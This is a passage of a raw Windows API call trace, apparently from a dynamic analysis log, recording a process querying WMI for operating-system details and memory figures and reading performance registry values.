(in: pToken=0x1da9d3c0 | out: pToken=0x1da9d3c0) returned 0x0 [0259.095] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d480 | out: ppvObject=0x1da9d480*=0x0) returned 0x80004002 [0259.095] WbemDefPath:IUnknown:Release (This=0x1b294a60) returned 0x2 [0259.095] WbemDefPath:IUnknown:Release (This=0x1b294a60) returned 0x1 [0259.095] CoGetContextToken (in: pToken=0x1da9e1b0 | out: pToken=0x1da9e1b0) returned 0x0 [0259.095] CoGetContextToken (in: pToken=0x1da9e0b0 | out: pToken=0x1da9e0b0) returned 0x0 [0259.095] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x1da9e210*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1da9e1e0 | out: ppvObject=0x1da9e1e0*=0x1b294a60) returned 0x0 [0259.095] WbemDefPath:IUnknown:AddRef (This=0x1b294a60) returned 0x3 [0259.095] WbemDefPath:IUnknown:Release (This=0x1b294a60) returned 0x2 [0259.095] WbemDefPath:IWbemPath:SetText (This=0x1b294a60, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0259.096] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e598 | out: puCount=0x1da9e598*=0x2) returned 0x0 [0259.096] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e590*=0xf, pszText=0x0) returned 0x0 [0259.096] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0259.140] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0259.141] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0259.141] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0259.141] IWbemClassObject:Get (in: This=0x1b268a00, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x264b698*=0, plFlavor=0x264b69c*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x264b698*=21, plFlavor=0x264b69c*=0) returned 0x0 [0259.141] SysStringByteLen (bstr="1359840") returned 0xe [0259.141] SysStringByteLen (bstr="1359840") returned 0xe [0259.141] IWbemClassObject:Get (in: This=0x1b268a00, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x264b698*=21, plFlavor=0x264b69c*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x264b698*=21, plFlavor=0x264b69c*=0) returned 0x0 [0259.141] SysStringByteLen (bstr="1359840") returned 0xe [0259.141] SysStringByteLen (bstr="1359840") returned 0xe [0259.143] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0259.143] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0259.143] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0259.143] IWbemClassObject:Get (in: This=0x1b268a00, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x264b890*=0, plFlavor=0x264b894*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x264b890*=21, plFlavor=0x264b894*=0) returned 0x0 [0259.143] SysStringByteLen (bstr="2096620") returned 0xe [0259.143] SysStringByteLen (bstr="2096620") returned 0xe [0259.143] IWbemClassObject:Get (in: This=0x1b268a00, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x264b890*=21, plFlavor=0x264b894*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x264b890*=21, plFlavor=0x264b894*=0) returned 0x0 [0259.143] SysStringByteLen (bstr="2096620") returned 0xe [0259.143] SysStringByteLen (bstr="2096620") returned 0xe [0259.144] CoGetContextToken (in: pToken=0x1da9e370 | out: pToken=0x1da9e370) returned 0x0 [0259.144] WbemLocator:IUnknown:Release (This=0x1b203538) returned 0x1 [0259.144] IUnknown:Release (This=0x1b287190) returned 0x0 [0261.235] GetTickCount64 () returned 0x1abe015 [0261.237] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0261.238] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x2738540, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x2738540*, lpcbData=0x1da9e418*=0x438) returned 0x0 [0261.241] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0261.241] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x2749958, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x2749958*, lpcbData=0x1da9e418*=0xea8) returned 0x0 [0261.245] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e6f8 | out: puCount=0x1da9e6f8*=0x2) returned 0x0 [0261.245] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e6f0*=0xf, pszText=0x0) returned 0x0 [0261.245] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e6f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0261.246] CoGetObjectContext (in: riid=0x2296a58*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e678 | out: ppv=0x1da9e678*=0x77dd58) returned 0x0 [0261.246] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e668 | out: pAptType=0x1da9e668*=1) returned 0x0 [0261.246] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2296a38*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e670 | out: ppvObject=0x1da9e670*=0x0) returned 0x80004002 [0261.246] IUnknown:Release (This=0x77dd58) returned 0x1 [0261.247] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9dd38 | out: ppv=0x1da9dd38*=0x1d218050) returned 0x0 [0261.248] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218050, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9de20 | out: ppvObject=0x1da9de20*=0x0) returned 0x80004002 [0261.248] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d218050, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ddf8 | out: ppvObject=0x1da9ddf8*=0x1d2186d0) returned 0x0 [0261.248] WbemLocator:IUnknown:Release (This=0x1d218050) returned 0x0 [0261.248] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2186d0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dba0 | out: ppvObject=0x1da9dba0*=0x1d2186d0) returned 0x0 [0261.248] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2186d0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dc30 | out: ppvObject=0x1da9dc30*=0x0) returned 0x80004002 [0261.248] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2186d0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d428 | out: ppvObject=0x1da9d428*=0x0) returned 0x80004002 [0261.248] WbemLocator:IUnknown:AddRef (This=0x1d2186d0) returned 0x3 [0261.248] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2186d0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d2e8 | out: ppvObject=0x1da9d2e8*=0x0) returned 0x80004002 [0261.248] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2186d0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d270 | out: ppvObject=0x1da9d270*=0x0) returned 0x80004002 [0261.248] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2186d0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d260 | out: ppvObject=0x1da9d260*=0x0) returned 0x80004002 [0261.248] CoGetContextToken (in: pToken=0x1da9d310 | out: pToken=0x1da9d310) returned 0x0 [0261.248] CoGetContextToken (in: pToken=0x1da9d790 | out: pToken=0x1da9d790) returned 0x0 [0261.248] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2186d0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d850 | out: ppvObject=0x1da9d850*=0x0) returned 0x80004002 [0261.249] WbemLocator:IUnknown:Release (This=0x1d2186d0) returned 0x2 [0261.249] WbemLocator:IUnknown:Release (This=0x1d2186d0) returned 0x1 [0261.249] CoGetContextToken (in: pToken=0x1da9e1d0 | out: pToken=0x1da9e1d0) returned 0x0 [0261.249] CoGetContextToken (in: pToken=0x1da9e0d0 | out: pToken=0x1da9e0d0) returned 0x0 [0261.249] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2186d0, riid=0x1da9e230*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9e200 | out: ppvObject=0x1da9e200*=0x1d2186d0) returned 0x0 [0261.249] WbemLocator:IUnknown:AddRef (This=0x1d2186d0) returned 0x3 [0261.249] WbemLocator:IUnknown:Release (This=0x1d2186d0) returned 0x2 [0261.249] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e608 | out: puCount=0x1da9e608*=0x2) returned 0x0 [0261.249] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e600*=0xf, pszText=0x0) returned 0x0 [0261.249] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e600*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0261.249] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1da9e350 | out: ppv=0x1da9e350*=0x1d218370) returned 0x0 [0261.249] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d218370, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1da9e4c8 | out: ppNamespace=0x1da9e4c8*=0x1b217720) returned 0x0 [0261.579] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217720, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e1c8 | out: ppvObject=0x1da9e1c8*=0x1b201c90) returned 0x0 [0261.580] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b201c90, pProxy=0x1b217720, pAuthnSvc=0x1da9e290, pAuthzSvc=0x1da9e210, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214, pImpLevel=0x1da9e220, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224 | out: pAuthnSvc=0x1da9e290*=0xa, pAuthzSvc=0x1da9e210*=0x0, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214*=0x6, pImpLevel=0x1da9e220*=0x2, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224*=0x1) returned 0x0 [0261.580] WbemLocator:IUnknown:Release (This=0x1b201c90) returned 0x1 [0261.580] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217720, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e160 | out: ppvObject=0x1da9e160*=0x1b201cd8) returned 0x0 [0261.580] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217720, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e170 | out: ppvObject=0x1da9e170*=0x1b201c90) returned 0x0 [0261.580] WbemLocator:IClientSecurity:SetBlanket (This=0x1b201c90, pProxy=0x1b217720, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0261.580] WbemLocator:IUnknown:Release (This=0x1b201c90) returned 0x2 [0261.581] WbemLocator:IUnknown:Release (This=0x1b201cd8) returned 0x1 [0261.581] CoTaskMemFree (pv=0x1d1e6d20) [0261.581] WbemLocator:IUnknown:Release (This=0x1d218370) returned 0x0 [0261.581] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217720, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dc60 | out: ppvObject=0x1da9dc60*=0x1b201cd8) returned 0x0 [0261.581] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dcf0 | out: ppvObject=0x1da9dcf0*=0x0) returned 0x80004002 [0261.626] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x0) returned 0x80004002 [0261.627] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217720, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d4e8 | out: ppvObject=0x1da9d4e8*=0x0) returned 0x80004002 [0261.627] WbemLocator:IUnknown:AddRef (This=0x1b201cd8) returned 0x3 [0261.627] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d3a8 | out: ppvObject=0x1da9d3a8*=0x0) returned 0x80004002 [0261.627] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d330 | out: ppvObject=0x1da9d330*=0x0) returned 0x80004002 [0261.627] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d320 | out: ppvObject=0x1da9d320*=0x1b201bb8) returned 0x0 [0261.628] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b201bb8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d348 | out: pCid=0x1da9d348*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0261.628] WbemLocator:IUnknown:Release (This=0x1b201bb8) returned 0x3 [0261.628] CoGetContextToken (in: pToken=0x1da9d3d0 | out: pToken=0x1da9d3d0) returned 0x0 [0261.628] CoGetContextToken (in: pToken=0x1da9d850 | out: pToken=0x1da9d850) returned 0x0 [0261.628] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b201ca0) returned 0x0 [0261.628] WbemLocator:IRpcOptions:Query (in: This=0x1b201ca0, pPrx=0x1b201cd8, dwProperty=2, pdwValue=0x1da9d900 | out: pdwValue=0x1da9d900) returned 0x80004002 [0261.628] WbemLocator:IUnknown:Release (This=0x1b201ca0) returned 0x3 [0261.629] WbemLocator:IUnknown:Release (This=0x1b201cd8) returned 0x2 [0261.629] CoGetContextToken (in: pToken=0x1da9df10 | out: pToken=0x1da9df10) returned 0x0 [0261.629] CoGetContextToken (in: pToken=0x1da9de10 | out: pToken=0x1da9de10) returned 0x0 [0261.629] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x1da9df70*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1da9df40 | out: ppvObject=0x1da9df40*=0x1b217720) returned 0x0 [0261.629] WbemLocator:IUnknown:AddRef (This=0x1b217720) returned 0x4 [0261.629] WbemLocator:IUnknown:Release (This=0x1b217720) returned 0x3 [0261.629] WbemLocator:IUnknown:Release (This=0x1b217720) returned 0x2 [0261.629] SysStringLen (param_1=0x0) returned 0x0 [0261.629] CoGetContextToken (in: pToken=0x1da9e040 | out: pToken=0x1da9e040) returned 0x0 [0261.629] WbemLocator:IUnknown:AddRef (This=0x1b201cd8) returned 0x3 [0261.629] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e040 | out: ppvObject=0x1da9e040*=0x1b201cd8) returned 0x0 [0261.629] WbemLocator:IUnknown:Release (This=0x1b201cd8) returned 0x3 [0261.629] WbemLocator:IUnknown:Release (This=0x1b201cd8) returned 0x2 [0261.630] CoGetContextToken (in: pToken=0x1da9e170 | out: pToken=0x1da9e170) returned 0x0 [0261.630] WbemLocator:IUnknown:AddRef (This=0x1b217720) returned 0x3 [0261.630] IWbemServices:ExecQuery (in: This=0x1b217720, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1da9e618 | out: ppEnum=0x1da9e618*=0x1b286080) returned 0x0 [0261.633] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2e8 | out: ppvObject=0x1da9e2e8*=0x1b286088) returned 0x0 [0261.633] IClientSecurity:QueryBlanket (in: This=0x1b286088, pProxy=0x1b286080, pAuthnSvc=0x1da9e3b0, pAuthzSvc=0x1da9e330, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334, pImpLevel=0x1da9e340, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344 | out: pAuthnSvc=0x1da9e3b0*=0xa, pAuthzSvc=0x1da9e330*=0x0, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334*=0x6, pImpLevel=0x1da9e340*=0x2, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344*=0x1) returned 0x0 [0261.633] IUnknown:Release (This=0x1b286088) returned 0x1 [0261.633] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e280 | out: ppvObject=0x1da9e280*=0x1b2036d8) returned 0x0 [0261.633] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e290 | out: ppvObject=0x1da9e290*=0x1b286088) returned 0x0 [0261.633] IClientSecurity:SetBlanket (This=0x1b286088, pProxy=0x1b286080, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0261.783] IUnknown:Release (This=0x1b286088) returned 0x2 [0261.783] WbemLocator:IUnknown:Release (This=0x1b2036d8) returned 0x1 [0261.783] CoTaskMemFree (pv=0x1d1e68d0) [0261.783] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd50 | out: ppvObject=0x1da9dd50*=0x1b2036d8) returned 0x0 [0261.783] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dde0 | out: ppvObject=0x1da9dde0*=0x0) returned 0x80004002 [0261.784] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x0) returned 0x80004002 [0261.784] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5d8 | out: ppvObject=0x1da9d5d8*=0x0) returned 0x80004002 [0261.785] WbemLocator:IUnknown:AddRef (This=0x1b2036d8) returned 0x3 [0261.785] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d498 | out: ppvObject=0x1da9d498*=0x0) returned 0x80004002 [0261.785] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, 